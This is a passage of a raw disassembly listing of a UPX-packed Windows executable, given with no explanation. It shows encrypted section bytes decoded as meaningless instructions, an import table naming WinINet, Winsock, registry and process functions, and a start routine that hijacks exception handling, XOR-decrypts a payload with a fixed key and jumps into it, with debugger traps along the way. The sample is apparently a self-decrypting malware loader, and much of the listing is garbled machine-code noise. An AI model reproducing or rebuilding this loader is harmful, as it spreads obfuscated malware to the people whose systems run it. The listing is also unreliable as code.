ebx, [edx+ecx] adc cl, [eax] jmp short loc_31427875 ; --------------------------------------------------------------------------- dd 1D5301CEh, 292B787Ah, 7E1955FEh, 1476277Eh, 2F4E5E35h dd 271E3310h, 18B9315Bh, 4C3A6450h, 10872C2Dh, 6B73B84Fh dd 263B582Bh, 0AD0E581Fh ; --------------------------------------------------------------------------- locret_31427840: ; CODE XREF: UPX1:314278AAj retf ; --------------------------------------------------------------------------- db 0CFh, 0EDh, 83h dd 0F8200E43h, 0B05BCD4Ah, 41DC826h, 843F6263h, 5B21161Eh dd 1EB6A6Fh, 4E4C130Bh, 3A780806h, 19C7581Bh, 0CFCDCE5Bh dd 15636B20h, 0A5EF2A58h db 0Ah ; --------------------------------------------------------------------------- loc_31427875: ; CODE XREF: UPX1:3142780Ej dec edi into int 3 ; Trap to Debugger js short near ptr loc_314278F4+1 cmp al, 98h pop eax jbe short loc_3142789D push edi enter 35Dh, 96h pop ds adc eax, 5C1B52D4h sbb esp, [ebx] pushf mov ds:0C115AC7h, al add [eax+35h], ebx sbb [esi], edx ; --------------------------------------------------------------------------- db 66h dd 0D449C062h db 79h ; --------------------------------------------------------------------------- loc_3142789D: ; CODE XREF: UPX1:3142787Dj insd pop eax or al, 0F1h setalc push edx push edx mov esp, 0F485EAC3h inc eax jns short locret_31427840 db 3Eh or bl, ds:887E741Dh mov ds:3F75815Bh, eax ; CODE XREF: UPX1:314278D9j sbb eax, 0FF17350Ch daa repne out dx, eax call far ptr 1519h:36133E1Dh adc [ecx+14h], bh or ecx, [ebx+eax] xchg eax, edi bound edi, [eax+72ED1B0Ah] cmp edx, [edi] or [ecx], al popa jb short near ptr loc_314278B3+4 or [edi], dl stc fnstcw word ptr ds:364A1D00h mov es, word ptr [edi+172C042Ah] pop ss adc al, 1Fh or [ebx+4Ah], cl sub edx, [esi] sbb [eax], ecx loc_314278F4: ; CODE XREF: UPX1:31427878j or edx, [eax] pop ss or al, 61h movsd aad 35h repne in al, 6Ah dec edx or cl, [ebx] ja short loc_31427930 jge short loc_31427911 aad 6Ch test dword ptr [ebp+54h], 837DCE60h clc pop ecx loc_31427911: ; CODE XREF: UPX1:31427904j db 36h sbb eax, 19110C00h cmp ds:3D665927h[eax*4], ebp push cs ja short loc_31427934 sbb [ecx], edx or al, 3Eh pop ss or ch, [ebx] pop ecx retn 0CE8Eh ; --------------------------------------------------------------------------- dd 37031F44h ; --------------------------------------------------------------------------- loc_31427930: ; CODE XREF: UPX1:31427902j sbb dl, [edx] push cs push esp loc_31427934: ; CODE XREF: UPX1:3142791Fj cmp al, 99h shl dword ptr [ecx-0AA5DD45h], 0Ah adc [ebx+42h], esi out dx, eax xchg eax, esp ; --------------------------------------------------------------------------- dw 0C7C5h db 0B0h ; ° db 0Bh, 1Dh, 30h db 19h db 16h, 1Ch, 74h db 3Fh ; ? db 5Ch, 26h, 0BAh db 0C5h ; Å db 0BBh, 0CEh, 70h db 16h db 0AAh, 19h, 22h db 88h ; ˆ ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dw 0CDB5h db 69h ; i db 0EFh, 3Ch, 0DBh db 2Eh ; . db 1Ch, 1, 6Ch ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0Dh, 0A7h, 0CEh db 34h ; 4 db 0E0h, 19h, 53h db 31h ; 1 db 16h, 1Eh, 17h db 77h ; w db 2Bh, 71h, 1Dh db 8 db 7Eh, 0F8h, 4Fh db 60h ; ` db 1Ah, 31h, 0E4h ; --------------------------------------------------------------------------- pop esi adc ebx, ds:0A1F03D1Ch sbb al, 0CBh push eax retf ; --------------------------------------------------------------------------- db 16h db 4Eh ; N db 83h, 9Fh, 0EAh db 0B5h ; µ db 0A8h, 98h, 6Ah db 73h ; s db 39h, 2 dup(1Ch) db 0Ah db 77h, 0CBh, 8Fh db 65h ; e db 69h, 73h, 34h db 11h db 1Ah, 0Ah, 19h db 1Fh db 0CDh, 0F2h, 9Eh db 0A2h ; ¢ db 18h, 53h, 35h db 0FAh ; ú db 4, 6Bh, 4Eh db 73h ; s db 70h, 0B3h, 0ADh db 0F6h ; ö db 0B7h, 1Bh, 0BBh db 0A2h ; ¢ db 3Ah, 3, 2Ch db 11h db 0F9h, 0F0h, 0Dh db 1Dh db 0A6h, 6Dh, 31h db 0A0h ; db 0F2h, 35h, 91h db 0 db 4Ch, 0A2h, 63h db 4Eh ; N db 0E3h, 0AAh, 75h db 25h ; % db 0BCh, 41h, 8Ah ; --------------------------------------------------------------------------- push 1A37691Eh and bh, ds:1955CE00h retf ; --------------------------------------------------------------------------- db 49h ; I db 0A7h, 72h, 1Bh db 6Bh ; k db 15h, 0E6h, 0E3h db 98h ; ˜ db 0BEh, 55h, 2Ah db 63h ; c db 21h, 3, 70h db 98h ; ˜ db 0B8h, 1Eh, 6Fh db 0FEh ; þ db 2, 1Dh, 40h db 0DFh ; ß db 34h, 18h, 0DBh db 0CDh ; Í db 0FDh, 6Dh, 3Dh ; --------------------------------------------------------------------------- test [ebx-181A56E8h], bh or eax, 1F42534Bh fnstenv byte ptr [ebx] sbb eax, 94433D01h cmp [esi+77B9FE68h], dh sub [edx-48h], esi db 26h mov edx, 0E6698E22h dec eax jmp dword ptr [ecx] ; --------------------------------------------------------------------------- db 14h db 3Ah, 9Fh, 59h db 68h ; h db 98h, 64h, 0FCh db 0Eh db 3, 29h, 74h db 39h ; 9 db 1Ah, 16h, 0C6h db 2Bh ; + db 10h, 53h, 76h db 0DDh ; Ý db 50h, 7Ch, 49h db 0FEh ; þ db 47h, 0B9h, 62h ; --------------------------------------------------------------------------- std mov eax, ds:68F14E0Fh retn ; --------------------------------------------------------------------------- db 1Ah db 0CEh ; Î db 5, 72h, 3Ch db 6Ah ; j db 19h, 76h, 0Ah db 11h db 1Eh, 63h, 0AEh db 42h ; B db 0CEh, 1, 0B2h db 1Fh db 0F7h, 0Dh, 53h db 4Eh ; N db 14h, 17h, 19h db 17h db 3Bh, 0B6h, 17h db 1 db 54h, 69h, 17h db 28h ; ( db 5Bh, 8, 1Fh db 68h ; h db 2Ah, 0F7h, 76h db 0E8h ; è db 47h, 8Eh, 40h db 0A8h ; ¨ align 2 dw 396Ch ; --------------------------------------------------------------------------- sbb ecx, [ecx] or eax, 0D6080A11h or al, 0A0h xor eax, 42D84D31h dec esi mov ebx, 0A66B21DFh xchg eax, esp or ecx, [edx] mov dl, 7Eh adc eax, 0A9B660C9h retf 764Dh ; --------------------------------------------------------------------------- db 0EAh, 77h, 6Dh db 0A2h ; ¢ db 0E1h, 13h, 2Bh db 35h ; 5 db 65h, 27h, 3Ch db 20h db 0BDh, 72h, 0Ch db 0C0h ; À db 47h, 27h, 10h db 8Eh ; Ž db 81h, 5Fh, 4Eh db 0A3h ; £ db 3Eh, 0B4h, 7Ah db 7Fh ; db 1, 0Ah, 37h db 91h ; ‘ db 68h, 79h, 0F0h db 6Dh ; m db 0D5h, 18h, 0E9h db 5Ah ; Z db 55h, 0B4h, 79h db 4Ch ; L db 0B5h, 65h, 5Fh db 1Dh ; --------------------------------------------------------------------------- jbe short loc_31427B34 sbb [edx+726C4E54h], edi lahf int 3 ; Trap to Debugger retn ; --------------------------------------------------------------------------- dd 317E966Dh, 80B0F1Eh, 391EC97Dh, 0E41AFB37h, 7C5C8C1Eh dd 0A3191422h, 0E32DFD3Bh, 4F766939h, 1F7D5954h, 63FE136Ch dd 167B7EDEh, 0C2B3B31h, 0F4ED76F9h, 753F621Dh, 0D095CAB3h dd 7A0B87D9h, 5479757Ah, 4154CAB3h, 746F4C17h, 0CAB354CAh dd 686B7C71h, 373DD26Eh, 3D284ED2h, 9C87CE76h, 21B0EECFh ; --------------------------------------------------------------------------- loc_31427B34: ; CODE XREF: UPX1:31427AC5j mov al, ds:78987838h ja short near ptr loc_31427BB3+1 jnb short loc_31427BB6 jle short loc_31427BB3 pop esi retf 7964h ; --------------------------------------------------------------------------- adc [edx-5Ch], ch loc_31427B46: ; CODE XREF: UPX1:31427B76j dec esp pop ebx push 76BEDB5Dh cmp cl, [ecx+73h] jp short loc_31427B84 dec ebx iret ; --------------------------------------------------------------------------- dd 747FE3DCh, 414C6618h, 68C84E33h, 552F7E7Fh, 1A68F825h dd 41C71F4h, 0C8D6493Dh db 79h, 66h, 56h ; --------------------------------------------------------------------------- loc_31427B73: ; CODE XREF: UPX1:31427BCEj adc bh, al stc jnz short loc_31427B46 ficomp word ptr [eax+ebp*8+5Eh] mov esp, 0E804031Ch out 7Ch, eax cwde loc_31427B84: ; CODE XREF: UPX1:31427B50j push esi sbb al, 99h sub dword ptr [ecx+ebx*8+23h], 0FFFFFFA0h dec edi jg short loc_31427BE1 pop edi outsb mov eax, 33987830h cmp edi, ecx push edi mov ebx, 7878782Ch js short loc_31427C18 js short near ptr loc_31427C18+2 js short near ptr loc_31427C1B+1 call near ptr 0A9BAF430h js short near ptr loc_31427C1B+8 js short loc_31427C25 js short near ptr loc_31427C25+2 js short near ptr loc_31427BC6+3 ; --------------------------------------------------------------------------- db 0C6h, 78h ; --------------------------------------------------------------------------- loc_31427BB3: ; CODE XREF: UPX1:31427B3Dj ; UPX1:31427B39j sbb [edx], bh loc_31427BB5: ; CODE XREF: UPX1:31427C10j dec ecx loc_31427BB6: ; CODE XREF: UPX1:31427B3Bj cmc mov byte ptr [eax-38h], 87h xchg ebp, [edi] sti mov ch, 87h xchg eax, ebx push 0E8E8E8E8h loc_31427BC6: ; CODE XREF: UPX1:31427BAFj call near ptr 6FC16EB3h lock jg short near ptr loc_31427C0A+3 jns short loc_31427B73 or eax, 0FB66F37Fh xchg eax, esi test [ecx-5Dh], ch or dl, [ebp+787879C0h] ; CODE XREF: UPX1:31427C4Ej js short near ptr loc_31427C59+1 loc_31427BE1: ; CODE XREF: UPX1:31427B8Dj mov ds:66F37F0Dh, eax sti xchg eax, esi test [ecx-5Dh], ch imul edi, [eax-68F45C87h], 66F3710Dh sti xchg eax, esi test [ecx-5Dh], ch ; CODE XREF: UPX1:31427C05j or ebx, [ecx+ecx*2+7B90FBB1h] or dh, [ebp-47h] cwde jo short near ptr loc_31427BF7+2 jle short loc_31427C47 sti loc_31427C0A: ; CODE XREF: UPX1:31427BCBj mov [edi-420EF3F4h], al jns short loc_31427BB5 or eax, 0FB66F37Fh xchg eax, esi loc_31427C18: ; CODE XREF: UPX1:31427B9Ej ; UPX1:31427BA0j test [ecx-5Dh], ch loc_31427C1B: ; CODE XREF: UPX1:31427BA2j ; UPX1:31427BA9j imul esi, [ecx+7F0DA379h], 96FB66F3h loc_31427C25: ; CODE XREF: UPX1:31427BABj ; UPX1:31427BADj test [ecx-5Dh], ch imul esi, [ecx+7939580Dh], 0F37F0DA3h db 66h sti xchg eax, esi loc_31427C35: ; CODE XREF: UPX1:loc_31427CABj test [ecx-5Dh], ch imul esi, [ecx-68F45C87h], 66F3710Dh sti xchg eax, esi test [ecx-5Dh], ch loc_31427C47: ; CODE XREF: UPX1:31427C07j or ebx, [ebx+edi*8-7A068547h] js short near ptr loc_31427BD9+2 xchg eax, [edi-0A865605h] insb push edi sti loc_31427C59: ; CODE XREF: UPX1:loc_31427CCCj ; UPX1:31427BDFj test [esi+ecx+3A7AF277h], eax lock jg short near ptr loc_31427CA1+1 xor ds:871B918Fh, ecx xchg eax, [edi-4850C18h] mov edx, 0FB7FF17Ch mov edi, 7C91FB7Ch jns near ptr 65D433F8h xchg eax, [edi-700ED979h] rol dword ptr [esi], 78h js short loc_31427D02 repne jg short loc_31427CCC push esp nop inc esp jns short loc_31427CA1 ; --------------------------------------------------------------------------- dw 0F88Fh db 47h, 79h ; --------------------------------------------------------------------------- loc_31427C96: ; CODE XREF: UPX1:31427CDCj or eax, 0F27FF38Ah daa jl short loc_31427CBC ; --------------------------------------------------------------------------- dw 90B9h db 70h ; --------------------------------------------------------------------------- loc_31427CA1: ; CODE XREF: UPX1:31427C90j ; UPX1:31427C60j mov ecx, 0BCFE68B8h push ecx cmp al, 93h nop loc_31427CAB: ; CODE XREF: UPX1:31427CAEj jns short loc_31427C35 icebp jg short loc_31427CAB loc_31427CB0: ; CODE XREF: UPX1:31427CF6j mov edi, 9AA0F17Dh mov eax, ds:2878C6F5h js short near ptr loc_31427D33+1 ; CODE XREF: UPX1:31427CC4j loc_31427CBC: ; CODE XREF: UPX1:31427C9Cj rep jg short near ptr loc_31427D2F+1 mov eax, 27F33D0Ch jl short near ptr loc_31427CBA+1 cld dec eax js short near ptr loc_31427CD0+2 js short near ptr loc_31427D43+1 loc_31427CCC: ; CODE XREF: UPX1:31427C8Aj jns short loc_31427C59 sub bl, bh loc_31427CD0: ; CODE XREF: UPX1:31427CC8j mov edi, 0F4EE8770h or [eax+78h], bh in eax, dx repne jg short loc_31427D1B jo short loc_31427C96 or al, 0A4h icebp add dword ptr [ecx], 7FCF777Fh aas sub [edi], bh shr dword ptr [edi], 30h mov dl, dh sub eax, 8E8EE87h js short near ptr loc_31427D6D+1 jno short loc_31427CB0 loc_31427CF8: ; CODE XREF: UPX1:31427CFBj or al, 7Fh icebp jnp short loc_31427CF8 mov ebx, 87A0937Ch loc_31427D02: ; CODE XREF: UPX1:31427C88j out dx, al in al, dx or [eax+78h], bh sbb [ecx-787821A1h], edx js short loc_31427D87 js short loc_31427D89 js short loc_31427D8B js short loc_31427D8D js short loc_31427D8F js short loc_31427D91 js short loc_31427D93 loc_31427D1B: ; CODE XREF: UPX1:31427CD9j js short loc_31427D95 js short loc_31427D97 js short loc_31427D99 js short loc_31427D9B js short loc_31427D9D js short loc_31427D9F js short loc_31427DA1 js short loc_31427DA3 js short loc_31427DA5 js short loc_31427DA7 loc_31427D2F: ; CODE XREF: UPX1:loc_31427CBCj js short loc_31427DA9 js short loc_31427DAB loc_31427D33: ; CODE XREF: UPX1:loc_31427CBAj js short loc_31427DAD js short loc_31427DAF js short loc_31427DB1 js short loc_31427DB3 js short loc_31427DB5 js short loc_31427DB7 js short loc_31427DB9 js short loc_31427DBB loc_31427D43: ; CODE XREF: UPX1:31427CCAj js short loc_31427DBD js short loc_31427DBF js short loc_31427DC1 js short loc_31427DC3 js short loc_31427DC5 js short loc_31427DC7 js short loc_31427DC9 js short loc_31427DCB js short loc_31427DCD js short loc_31427DCF js short loc_31427DD1 js short loc_31427DD3 js short loc_31427DD5 js short loc_31427DD7 js short loc_31427DD9 js short loc_31427DDB js short loc_31427DDD js short loc_31427DDF js short loc_31427DE1 js short loc_31427DE3 js short loc_31427DE5 loc_31427D6D: ; CODE XREF: UPX1:31427CF4j js short loc_31427DE7 js short loc_31427DE9 js short loc_31427DEB js short loc_31427DED js short loc_31427DEF js short loc_31427DF1 js short loc_31427DF3 js short loc_31427DF5 js short loc_31427DF7 js short loc_31427DF9 js short loc_31427DFB js short loc_31427DFD js short loc_31427DFF loc_31427D87: ; CODE XREF: UPX1:31427D0Dj js short near ptr byte_31427E01 loc_31427D89: ; CODE XREF: UPX1:31427D0Fj js short near ptr byte_31427E03 loc_31427D8B: ; CODE XREF: UPX1:31427D11j js short near ptr byte_31427E05 loc_31427D8D: ; CODE XREF: UPX1:31427D13j js short near ptr byte_31427E07 loc_31427D8F: ; CODE XREF: UPX1:31427D15j js short near ptr byte_31427E09 loc_31427D91: ; CODE XREF: UPX1:31427D17j js short near ptr byte_31427E0B loc_31427D93: ; CODE XREF: UPX1:31427D19j js short near ptr byte_31427E0D loc_31427D95: ; CODE XREF: UPX1:loc_31427D1Bj js short near ptr byte_31427E0F loc_31427D97: ; CODE XREF: UPX1:31427D1Dj js short near ptr byte_31427E11 loc_31427D99: ; CODE XREF: UPX1:31427D1Fj js short near ptr byte_31427E13 loc_31427D9B: ; CODE XREF: UPX1:31427D21j js short near ptr byte_31427E15 loc_31427D9D: ; CODE XREF: UPX1:31427D23j js short near ptr byte_31427E17 loc_31427D9F: ; CODE XREF: UPX1:31427D25j js short near ptr byte_31427E19 loc_31427DA1: ; CODE XREF: UPX1:31427D27j js short near ptr byte_31427E1B loc_31427DA3: ; CODE XREF: UPX1:31427D29j js short near ptr byte_31427E1D loc_31427DA5: ; CODE XREF: UPX1:31427D2Bj js short near ptr byte_31427E1F loc_31427DA7: ; CODE XREF: UPX1:31427D2Dj js short near ptr byte_31427E21 loc_31427DA9: ; CODE XREF: UPX1:loc_31427D2Fj js short near ptr byte_31427E23 loc_31427DAB: ; CODE XREF: UPX1:31427D31j js short near ptr byte_31427E25 loc_31427DAD: ; CODE XREF: UPX1:loc_31427D33j js short near ptr byte_31427E27 loc_31427DAF: ; CODE XREF: UPX1:31427D35j js short near ptr byte_31427E29 loc_31427DB1: ; CODE XREF: UPX1:31427D37j js short near ptr byte_31427E2B loc_31427DB3: ; CODE XREF: UPX1:31427D39j js short near ptr byte_31427E2D loc_31427DB5: ; CODE XREF: UPX1:31427D3Bj js short near ptr byte_31427E2F loc_31427DB7: ; CODE XREF: UPX1:31427D3Dj js short near ptr byte_31427E31 loc_31427DB9: ; CODE XREF: UPX1:31427D3Fj js short near ptr byte_31427E33 loc_31427DBB: ; CODE XREF: UPX1:31427D41j js short near ptr byte_31427E35 loc_31427DBD: ; CODE XREF: UPX1:loc_31427D43j js short near ptr byte_31427E37 loc_31427DBF: ; CODE XREF: UPX1:31427D45j js short near ptr byte_31427E39 loc_31427DC1: ; CODE XREF: UPX1:31427D47j js short near ptr byte_31427E3B loc_31427DC3: ; CODE XREF: UPX1:31427D49j js short near ptr byte_31427E3D loc_31427DC5: ; CODE XREF: UPX1:31427D4Bj js short near ptr byte_31427E3F loc_31427DC7: ; CODE XREF: UPX1:31427D4Dj js short near ptr byte_31427E41 loc_31427DC9: ; CODE XREF: UPX1:31427D4Fj js short near ptr byte_31427E43 loc_31427DCB: ; CODE XREF: UPX1:31427D51j js short near ptr byte_31427E45 loc_31427DCD: ; CODE XREF: UPX1:31427D53j js short near ptr byte_31427E47 loc_31427DCF: ; CODE XREF: UPX1:31427D55j js short near ptr byte_31427E49 loc_31427DD1: ; CODE XREF: UPX1:31427D57j js short near ptr byte_31427E4B loc_31427DD3: ; CODE XREF: UPX1:31427D59j js short near ptr byte_31427E4D loc_31427DD5: ; CODE XREF: UPX1:31427D5Bj js short near ptr byte_31427E4F loc_31427DD7: ; CODE XREF: UPX1:31427D5Dj js short near ptr byte_31427E51 loc_31427DD9: ; CODE XREF: UPX1:31427D5Fj js short near ptr byte_31427E53 loc_31427DDB: ; CODE XREF: UPX1:31427D61j js short near ptr byte_31427E55 loc_31427DDD: ; CODE XREF: UPX1:31427D63j js short near ptr byte_31427E57 loc_31427DDF: ; CODE XREF: UPX1:31427D65j js short near ptr byte_31427E59 loc_31427DE1: ; CODE XREF: UPX1:31427D67j js short near ptr byte_31427E5B loc_31427DE3: ; CODE XREF: UPX1:31427D69j js short near ptr byte_31427E5D loc_31427DE5: ; CODE XREF: UPX1:31427D6Bj js short near ptr byte_31427E5F loc_31427DE7: ; CODE XREF: UPX1:loc_31427D6Dj js short near ptr byte_31427E61 loc_31427DE9: ; CODE XREF: UPX1:31427D6Fj js short near ptr byte_31427E63 loc_31427DEB: ; CODE XREF: UPX1:31427D71j js short near ptr byte_31427E65 loc_31427DED: ; CODE XREF: UPX1:31427D73j js short near ptr byte_31427E67 loc_31427DEF: ; CODE XREF: UPX1:31427D75j js short near ptr byte_31427E69 loc_31427DF1: ; CODE XREF: UPX1:31427D77j js short near ptr byte_31427E6B loc_31427DF3: ; CODE XREF: UPX1:31427D79j js short near ptr byte_31427E6D loc_31427DF5: ; CODE XREF: UPX1:31427D7Bj js short near ptr byte_31427E6F loc_31427DF7: ; CODE XREF: UPX1:31427D7Dj js short near ptr byte_31427E71 loc_31427DF9: ; CODE XREF: UPX1:31427D7Fj js short near ptr byte_31427E73 loc_31427DFB: ; CODE XREF: UPX1:31427D81j js short near ptr byte_31427E75 loc_31427DFD: ; CODE XREF: UPX1:31427D83j js short near ptr byte_31427E77 loc_31427DFF: ; CODE XREF: UPX1:31427D85j js short $+2 ; --------------------------------------------------------------------------- byte_31427E01 db 2 dup(0) ; CODE XREF: UPX1:loc_31427D87j byte_31427E03 db 0 ; CODE XREF: UPX1:loc_31427D89j db 0 byte_31427E05 db 2 dup(0) ; CODE XREF: UPX1:loc_31427D8Bj byte_31427E07 db 0 ; CODE XREF: UPX1:loc_31427D8Dj db 0 byte_31427E09 db 2 dup(0) ; CODE XREF: UPX1:loc_31427D8Fj byte_31427E0B db 0 ; CODE XREF: UPX1:loc_31427D91j db 0 byte_31427E0D db 2 dup(0) ; CODE XREF: UPX1:loc_31427D93j byte_31427E0F db 0 ; CODE XREF: UPX1:loc_31427D95j db 0 byte_31427E11 db 2 dup(0) ; CODE XREF: UPX1:loc_31427D97j byte_31427E13 db 0 ; CODE XREF: UPX1:loc_31427D99j db 0 byte_31427E15 db 2 dup(0) ; CODE XREF: UPX1:loc_31427D9Bj byte_31427E17 db 0 ; CODE XREF: UPX1:loc_31427D9Dj db 0 byte_31427E19 db 2 dup(0) ; CODE XREF: UPX1:loc_31427D9Fj byte_31427E1B db 0 ; CODE XREF: UPX1:loc_31427DA1j db 0 byte_31427E1D db 2 dup(0) ; CODE XREF: UPX1:loc_31427DA3j byte_31427E1F db 0 ; CODE XREF: UPX1:loc_31427DA5j db 0 byte_31427E21 db 2 dup(0) ; CODE XREF: UPX1:loc_31427DA7j byte_31427E23 db 0 ; CODE XREF: UPX1:loc_31427DA9j db 0 byte_31427E25 db 2 dup(0) ; CODE XREF: UPX1:loc_31427DABj byte_31427E27 db 0 ; CODE XREF: UPX1:loc_31427DADj db 0 byte_31427E29 db 2 dup(0) ; CODE XREF: UPX1:loc_31427DAFj byte_31427E2B db 0 ; CODE XREF: UPX1:loc_31427DB1j db 0 byte_31427E2D db 2 dup(0) ; CODE XREF: UPX1:loc_31427DB3j byte_31427E2F db 0 ; CODE XREF: UPX1:loc_31427DB5j db 0 byte_31427E31 db 2 dup(0) ; CODE XREF: UPX1:loc_31427DB7j byte_31427E33 db 0 ; CODE XREF: UPX1:loc_31427DB9j db 0 byte_31427E35 db 2 dup(0) ; CODE XREF: UPX1:loc_31427DBBj byte_31427E37 db 0 ; CODE XREF: UPX1:loc_31427DBDj db 0 byte_31427E39 db 2 dup(0) ; CODE XREF: UPX1:loc_31427DBFj byte_31427E3B db 0 ; CODE XREF: UPX1:loc_31427DC1j db 0 byte_31427E3D db 2 dup(0) ; CODE XREF: UPX1:loc_31427DC3j byte_31427E3F db 0 ; CODE XREF: UPX1:loc_31427DC5j db 0 byte_31427E41 db 2 dup(0) ; CODE XREF: UPX1:loc_31427DC7j byte_31427E43 db 0 ; CODE XREF: UPX1:loc_31427DC9j db 0 byte_31427E45 db 2 dup(0) ; CODE XREF: UPX1:loc_31427DCBj byte_31427E47 db 0 ; CODE XREF: UPX1:loc_31427DCDj db 0 byte_31427E49 db 2 dup(0) ; CODE XREF: UPX1:loc_31427DCFj byte_31427E4B db 0 ; CODE XREF: UPX1:loc_31427DD1j db 0 byte_31427E4D db 2 dup(0) ; CODE XREF: UPX1:loc_31427DD3j byte_31427E4F db 0 ; CODE XREF: UPX1:loc_31427DD5j db 0 byte_31427E51 db 2 dup(0) ; CODE XREF: UPX1:loc_31427DD7j byte_31427E53 db 0 ; CODE XREF: UPX1:loc_31427DD9j db 0 byte_31427E55 db 2 dup(0) ; CODE XREF: UPX1:loc_31427DDBj byte_31427E57 db 0 ; CODE XREF: UPX1:loc_31427DDDj db 0 byte_31427E59 db 2 dup(0) ; CODE XREF: UPX1:loc_31427DDFj byte_31427E5B db 0 ; CODE XREF: UPX1:loc_31427DE1j db 0 byte_31427E5D db 2 dup(0) ; CODE XREF: UPX1:loc_31427DE3j byte_31427E5F db 0 ; CODE XREF: UPX1:loc_31427DE5j db 0 byte_31427E61 db 2 dup(0) ; CODE XREF: UPX1:loc_31427DE7j byte_31427E63 db 0 ; CODE XREF: UPX1:loc_31427DE9j db 0 byte_31427E65 db 2 dup(0) ; CODE XREF: UPX1:loc_31427DEBj byte_31427E67 db 0 ; CODE XREF: UPX1:loc_31427DEDj db 0 byte_31427E69 db 2 dup(0) ; CODE XREF: UPX1:loc_31427DEFj byte_31427E6B db 0 ; CODE XREF: UPX1:loc_31427DF1j db 0 byte_31427E6D db 2 dup(0) ; CODE XREF: UPX1:loc_31427DF3j byte_31427E6F db 0 ; CODE XREF: UPX1:loc_31427DF5j db 0 byte_31427E71 db 2 dup(0) ; CODE XREF: UPX1:loc_31427DF7j byte_31427E73 db 0 ; CODE XREF: UPX1:loc_31427DF9j db 0 byte_31427E75 db 2 dup(0) ; CODE XREF: UPX1:loc_31427DFBj byte_31427E77 db 0 ; CODE XREF: UPX1:loc_31427DFDj align 200h UPX1 ends ; Section 3. (virtual address 00008000) ; Virtual size : 00009000 ( 36864.) ; Section size in file : 00009000 ( 36864.) ; Offset to raw data for section: 00008000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 31428000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 3 dup(0) dd 80C4h, 808Ch, 3 dup(0) dd 80D1h, 809Ch, 3 dup(0) dd 80DEh, 80A4h, 3 dup(0) dd 80E9h, 80ACh, 3 dup(0) dd 80F4h, 80B4h, 3 dup(0) dd 8100h, 80BCh, 5 dup(0) dword_3142808C dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_3142829B+48r dd 7C80ADA0h, 7C81CDDAh, 0 dd 77DD6BF0h, 0 dd 77C371D3h, 0 dd 7E41A8ADh, 0 dd 42C2C8A1h, 0 dd 71AB9639h, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h dd 642E3233h, 6C6Ch, 64616F4Ch, 7262694Ch, 41797261h, 65470000h dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 61720000h dd 646Eh, 72707377h, 66746E69h, 41h, 65746E49h, 74656E72h dd 6E65704Fh, 41h, 26h dup(0) dd 1C39068h, 0FFC48BEDh, 0E85B93D0h, 59h, 824648Bh, 4EBB8h dd 64FAEB00h, 18A167h, 0F30408Bh, 830240B6h, 3C7500F8h dd 0E8h, 0ED815D00h, 402334h, 237B858Bh, 85030040h, 402383h dd 858BF08Bh, 40237Fh, 23838503h, 8B500040h, 0ACC933FEh dd 238B8532h, 41AA0040h, 23878D3Bh, 0EF7C0040h, 64C02BC3h dd 896430FFh, 5678B820h, 3871234h, 6000h, 7BB0h, 31420000h dd 1E00h db 78h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near push ebp mov ebp, esp call sub_3142829B call sub_31428335 jmp loc_314282E9 start endp ; =============== S U B R O U T I N E ======================================= sub_3142829B proc near ; CODE XREF: start+3p var_5C = dword ptr -5Ch var_54 = dword ptr -54h ; FUNCTION CHUNK AT 3142835C SIZE 0000010F BYTES ; FUNCTION CHUNK AT 314284D9 SIZE 0000000A BYTES push dword ptr fs:0 mov fs:0, esp xor edx, edx push edx push edx push edx push 80000000h push edx push edx push 80000000h push 80000000h push edx push edx call ds:dword_3142808C ; LoadLibraryA xor edx, edx push edx push 8 push edx push 2000h push edx push edx push edx push edx push 8000h push edx push edx push 80000000h call ds:dword_3142808C ; LoadLibraryA loc_314282E9: ; CODE XREF: start+Dj sub eax, eax loc_314282EB: ; CODE XREF: sub_3142829B+56j dec al or al, al jz short loc_314282F5 jnz short loc_314282EB jmp short loc_3142835C ; --------------------------------------------------------------------------- loc_314282F5: ; CODE XREF: sub_3142829B+54j call $+5 pop ebx sub ebx, 0FFFFFFB8h push ebx xor esi, esi or esi, 243Ch mov ecx, 6Ah loc_3142830F: ; CODE XREF: sub_3142829B+81j mov al, [ebx] xor ax, cx xchg al, [ebx] inc ebx sub esi, 1 or esi, esi jnz short loc_3142830F pop ebx mov esp, fs:0 pop dword ptr fs:0 lea ebp, [esp+58h+var_54] leave jmp ebx sub_3142829B endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) ; =============== S U B R O U T I N E ======================================= sub_31428335 proc near ; CODE XREF: start+8p arg_C = dword ptr 10h mov eax, [esp+arg_C] pop dword ptr [eax+0B8h] xor eax, eax retn sub_31428335 endp ; sp-analysis failed ; --------------------------------------------------------------------------- byte_31428342 db 90h ; DATA XREF: UPX2:3142ACF4o db 0E8h align 8 dd 0F724048Bh, 242B80h, 0 dd 0AC988980h, 8B000029h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3142829B loc_3142835C: ; CODE XREF: sub_3142829B+58j pop esp and al, 4 jz short loc_3142838E cld pop ecx mov [eax+29B0h], esi mov [eax+29B4h], edi cmp byte ptr [eax+242Fh], 0E8h jnz short loc_31428385 add ebx, [eax+2430h] mov ebx, [ebx+2] push dword ptr [ebx] jmp short loc_3142838D ; --------------------------------------------------------------------------- loc_31428385: ; CODE XREF: sub_3142829B+DBj mov ebx, [eax+2431h] push dword ptr [ebx] loc_3142838D: ; CODE XREF: sub_3142829B+E8j pop ebx loc_3142838E: ; CODE XREF: sub_3142829B+C4j push ebp xchg eax, ebp sub [esp+58h+var_54], 148h and ebx, 0FFFFF000h sub ebp, 401006h mov edi, [esp+58h+var_54] lea esi, [ebp+40343Ch] mov ecx, 0 rep movsb loc_314283B5: ; CODE XREF: sub_3142829B+136j cmp dword ptr [ebx+4Eh], 73696854h jnz short loc_314283CB mov eax, 